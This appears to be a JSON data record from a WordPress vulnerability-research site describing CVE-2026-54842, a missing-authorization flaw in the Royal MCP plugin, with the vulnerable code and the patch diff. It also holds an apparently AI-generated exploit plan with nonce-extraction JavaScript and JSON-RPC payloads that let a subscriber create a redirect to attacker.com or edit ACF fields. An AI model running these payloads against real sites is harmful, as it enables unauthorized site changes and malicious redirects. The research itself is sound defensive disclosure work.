[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fcbor2rqq7Hcwki5bP1YoMG3NDXllFwfNPNV6iMjGpOI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-54842","royal-mcp-secure-ai-connector-for-claude-chatgpt-gemini-missing-authorization-2","Royal MCP – Secure AI Connector for Claude, ChatGPT & Gemini \u003C= 1.4.25 - Missing Authorization","The Royal MCP – Secure AI Connector for Claude, ChatGPT & Gemini plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.4.25. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.","royal-mcp",null,"\u003C=1.4.25","1.4.26","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-06-18 00:00:00","2026-06-23 15:36:29",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fbfa7ae6c-6bc8-4787-b95b-c12243d0a45c?source=api-prod",6,[22,23,24,25,26,27,28,29],"includes\u002FIntegrations\u002FACF.php","includes\u002FIntegrations\u002FForgeCache.php","includes\u002FIntegrations\u002FGuardPress.php","includes\u002FIntegrations\u002FRoyalLedger.php","includes\u002FIntegrations\u002FRoyalLinks.php","includes\u002FIntegrations\u002FSiteVault.php","includes\u002FIntegrations\u002FWooCommerce.php","includes\u002FMCP\u002FServer.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-54842\n\n## 1. Vulnerability Summary\nThe **Royal MCP** plugin for WordPress is vulnerable to **Missing Authorization** in its Model Context Protocol (MCP) server implementation. The plugin registers a REST API endpoint (`\u002Fwp-json\u002Froyal-mcp\u002Fv1\u002Fmcp`) designed to allow AI agents (like Claude or ChatGPT) to interact with WordPress tools (ACF, WooCommerce, Royal Ledger, etc.). While the plugin implements authentication via API keys and OAuth tokens, it fails to perform a capability check (e.g., `current_user_can('manage_options')`) when a request is authenticated via standard WordPress session cookies. This allows any authenticated user, including those with **Subscriber-level access**, to execute administrative tools and modify site data.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Froyal-mcp\u002Fv1\u002Fmcp`\n- **Method:** `POST`\n- **Authentication:** Authenticated (Subscriber or higher).\n- **Required Header:** `X-WP-Nonce` (standard WordPress REST API nonce).\n- **Payload Format:** JSON-RPC 2.0.\n- **Vulnerable Action:** Execution of any \"MCP Tool\" defined in the `Integrations` namespace.\n\n## 3. Code Flow\n1. **Entry Point:** A POST request hits the REST route registered in `includes\u002FMCP\u002FServer.php` (likely inside a `register_rest_route` call in an initialization hook).\n2. **Authentication:** The `Server::validate_auth()` method (in `includes\u002FMCP\u002FServer.php`) checks for Bearer tokens or API keys. If the user is already logged into WordPress via cookies, the REST API infrastructure handles authentication, and `validate_auth` may be bypassed or return `true` based on the user session.\n3. **Missing Check:** The `Server` class processes the JSON-RPC message. It fails to verify if the authenticated user possesses the necessary administrative capabilities before proceeding to tool execution.\n4. **Sink:** The request reaches `Server::execute_tool()` (or a similar handler), which dispatches the call to integration classes:\n   - `Royal_MCP\\Integrations\\ACF::execute_tool`\n   - `Royal_MCP\\Integrations\\RoyalLinks::execute_tool`\n   - `Royal_MCP\\Integrations\\WooCommerce::execute_tool`\n5. **Execution:** The integration class performs the action (e.g., `acf_update_field`, `rlinks_create_link`, `wc_update_order_status`) using the arguments provided in the JSON-RPC `params`.\n\n## 4. Nonce Acquisition Strategy\nThe exploit requires a standard WordPress REST API nonce (`wp_rest`).\n1. **Create a Trigger Page:** Since the plugin is designed for AI interaction, it may enqueued scripts on the admin dashboard or pages where MCP is active.\n2. **Standard Extraction:** \n   - Log in as the Subscriber.\n   - Navigate to the WordPress dashboard or homepage.\n   - Execute the following JS via `browser_eval`:\n     ```javascript\n     window.wpApiSettings ? window.wpApiSettings.nonce : \"\"\n     ```\n   - Alternatively, extract it from the `_wpnonce` value in the `wp-json` script tag in the HTML source.\n\n## 5. Exploitation Strategy\nWe will use the `rlinks_create_link` tool from `RoyalLinks.php` to create an unauthorized redirect, demonstrating the ability to modify site content.\n\n### Step 1: Authentication\nLog in as a Subscriber user to obtain a session cookie.\n\n### Step 2: Obtain REST Nonce\nUse `browser_navigate` to the homepage and `browser_eval` to get `wpApiSettings.nonce`.\n\n### Step 3: Execute Unauthorized Action\nSend a POST request to the MCP endpoint to create a new link.\n\n**Request:**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Froyal-mcp\u002Fv1\u002Fmcp`\n- **Method:** `POST`\n- **Headers:**\n  - `Content-Type: application\u002Fjson`\n  - `X-WP-Nonce: [obtained_nonce]`\n  - `Origin: http:\u002F\u002Flocalhost:8080`\n- **Body:**\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"method\": \"tools\u002Fcall\",\n  \"params\": {\n    \"name\": \"rlinks_create_link\",\n    \"arguments\": {\n      \"title\": \"Exploit Link\",\n      \"destination_url\": \"https:\u002F\u002Fattacker.com\",\n      \"slug\": \"pwned\",\n      \"redirect_type\": \"301\"\n    }\n  },\n  \"id\": 1\n}\n```\n\n## 6. Test Data Setup\n1. **Target Plugin:** Ensure `Royal MCP` (\u003C= 1.4.25) is active.\n2. **Dependency:** Ensure the `Royal Links` plugin is active (or mocked) so `Royal_Links_Post_Type::create_link` is available.\n3. **Attacker Account:** Create a user with the `subscriber` role.\n   ```bash\n   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123\n   ```\n\n## 7. Expected Results\n- The server responds with `200 OK`.\n- The response body contains a JSON-RPC result object with the details of the created link:\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"result\": {\n    \"id\": 123,\n    \"title\": \"Exploit Link\",\n    \"slug\": \"pwned\",\n    \"short_url\": \"http:\u002F\u002Flocalhost:8080\u002Fgo\u002Fpwned\",\n    \"destination_url\": \"https:\u002F\u002Fattacker.com\"\n  },\n  \"id\": 1\n}\n```\n\n## 8. Verification Steps\nAfter the exploit, verify the link creation via WP-CLI:\n```bash\nwp post list --post_type=royal_link --field=post_title\n# Expected output should include \"Exploit Link\"\n```\nCheck the metadata of the created link:\n```bash\nwp post meta list [ID]\n# Verify _royal_links_destination_url is \"https:\u002F\u002Fattacker.com\"\n```\n\n## 9. Alternative Approaches\nIf `Royal Links` is not active, target **Advanced Custom Fields (ACF)**:\n- **Requirement:** ACF plugin must be active.\n- **Payload:** Call `acf_update_field` to change the value of an existing field on a post.\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"method\": \"tools\u002Fcall\",\n  \"params\": {\n    \"name\": \"acf_update_field\",\n    \"arguments\": {\n      \"field_name\": \"target_field\",\n      \"post_id\": 1,\n      \"value\": \"Modified by Subscriber\"\n    }\n  },\n  \"id\": 1\n}\n```\nVerify via: `wp post meta get 1 target_field`.","The Royal MCP plugin for WordPress is vulnerable to unauthorized access via its MCP tool execution endpoint. While the plugin implements custom authentication for AI agents, it fails to perform capability checks on authenticated WordPress user sessions, allowing low-privileged users like Subscribers to execute administrative actions through JSON-RPC calls.","\u002F\u002F includes\u002FIntegrations\u002FACF.php:168 in v1.4.25\ncase 'acf_update_field':\n    $field_name = sanitize_text_field( $args['field_name'] ?? '' );\n    $post_id    = intval( $args['post_id'] ?? 0 );\n    if ( '' === $field_name || $post_id \u003C= 0 ) {\n        throw new \\Exception( 'field_name and post_id are required' );\n    }\n    if ( ! get_post( $post_id ) ) {\n        throw new \\Exception( 'Post not found for ID ' . esc_html( (string) $post_id ) );\n    }\n    \u002F\u002F Missing capability check (e.g., edit_post) before writing\n    update_field( $field_name, $args['value'], $post_id );\n\n---\n\n\u002F\u002F includes\u002FIntegrations\u002FForgeCache.php:79 in v1.4.25\ncase 'fc_clear_cache':\n    \u002F\u002F Missing capability check (e.g., manage_options) before execution\n    \\ForgeCache_Cache::clear_all_cache_static();\n    return [\n        'success' => true,\n        'message' => 'ForgeCache page cache cleared.',\n    ];\n\n---\n\n\u002F\u002F includes\u002FIntegrations\u002FRoyalLinks.php:127 in v1.4.25\ncase 'rlinks_create_link':\n    if ( ! class_exists( 'Royal_Links_Post_Type' ) ) {\n        throw new \\Exception( 'Royal_Links_Post_Type class not loaded' );\n    }\n    \u002F\u002F ... (args preparation)\n    \u002F\u002F Missing capability check before creating a link\n    $result = \\Royal_Links_Post_Type::create_link( $create_args );","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Froyal-mcp\u002F1.4.25\u002Fincludes\u002FIntegrations\u002FACF.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Froyal-mcp\u002F1.4.26\u002Fincludes\u002FIntegrations\u002FACF.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Froyal-mcp\u002F1.4.25\u002Fincludes\u002FIntegrations\u002FACF.php\t2026-06-03 03:32:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Froyal-mcp\u002F1.4.26\u002Fincludes\u002FIntegrations\u002FACF.php\t2026-06-09 10:52:08.000000000 +0000\n@@ -108,6 +108,11 @@\n \t\t\t\tif ( ! get_post( $post_id ) ) {\n \t\t\t\t\tthrow new \\Exception( 'Post not found for ID ' . esc_html( (string) $post_id ) );\n \t\t\t\t}\n+\t\t\t\tif ( ! current_user_can( 'read_post', $post_id ) ) {\n+\t\t\t\t\tthrow new \\Exception( 'You do not have permission to read ACF fields on this post.' );\n+\t\t\t\t}\n \t\t\t\t$field_object = get_field_object( $field_name, $post_id, true, true );\n@@ -168,6 +176,11 @@\n \t\t\t\tif ( ! get_post( $post_id ) ) {\n \t\t\t\t\tthrow new \\Exception( 'Post not found for ID ' . esc_html( (string) $post_id ) );\n \t\t\t\t}\n+\t\t\t\tif ( ! current_user_can( 'edit_post', $post_id ) ) {\n+\t\t\t\t\tthrow new \\Exception( 'You do not have permission to edit ACF fields on this post.' );\n+\t\t\t\t}\n \t\t\t\tif ( ! array_key_exists( 'value', $args ) ) {\n \t\t\t\t\tthrow new \\Exception( 'value is required (pass null to clear the field)' );\n \t\t\t\t}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Froyal-mcp\u002F1.4.25\u002Fincludes\u002FIntegrations\u002FForgeCache.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Froyal-mcp\u002F1.4.26\u002Fincludes\u002FIntegrations\u002FForgeCache.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Froyal-mcp\u002F1.4.25\u002Fincludes\u002FIntegrations\u002FForgeCache.php\t2026-06-03 03:32:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Froyal-mcp\u002F1.4.26\u002Fincludes\u002FIntegrations\u002FForgeCache.php\t2026-06-09 10:52:08.000000000 +0000\n@@ -79,6 +81,9 @@\n \t\tswitch ( $name ) {\n \t\t\tcase 'fc_clear_cache':\n+\t\t\t\tif ( ! current_user_can( 'manage_options' ) ) {\n+\t\t\t\t\tthrow new \\Exception( 'You do not have permission to clear the ForgeCache page cache.' );\n+\t\t\t\t}\n \t\t\t\t\\ForgeCache_Cache::clear_all_cache_static();","The exploit involves an authenticated attacker with Subscriber-level privileges leveraging standard WordPress session cookies to bypass authorization. The attacker first logs in and extracts a REST API nonce (standard `wp_rest` nonce) from the WordPress dashboard or via browser console. They then send a POST request to the `\u002Fwp-json\u002Froyal-mcp\u002Fv1\u002Fmcp` endpoint containing the `X-WP-Nonce` header. The request body uses the JSON-RPC 2.0 format to invoke a tool, such as `rlinks_create_link` (to create unauthorized redirects) or `acf_update_field` (to modify post metadata), which the plugin executes without verifying if the user has the required administrative capabilities.","gemini-3-flash-preview","2026-06-25 21:32:22","2026-06-25 21:33:26",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.4.25","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Froyal-mcp\u002Ftags\u002F1.4.25","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Froyal-mcp.1.4.25.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Froyal-mcp\u002Ftags\u002F1.4.26","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Froyal-mcp.1.4.26.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Froyal-mcp\u002Ftags"]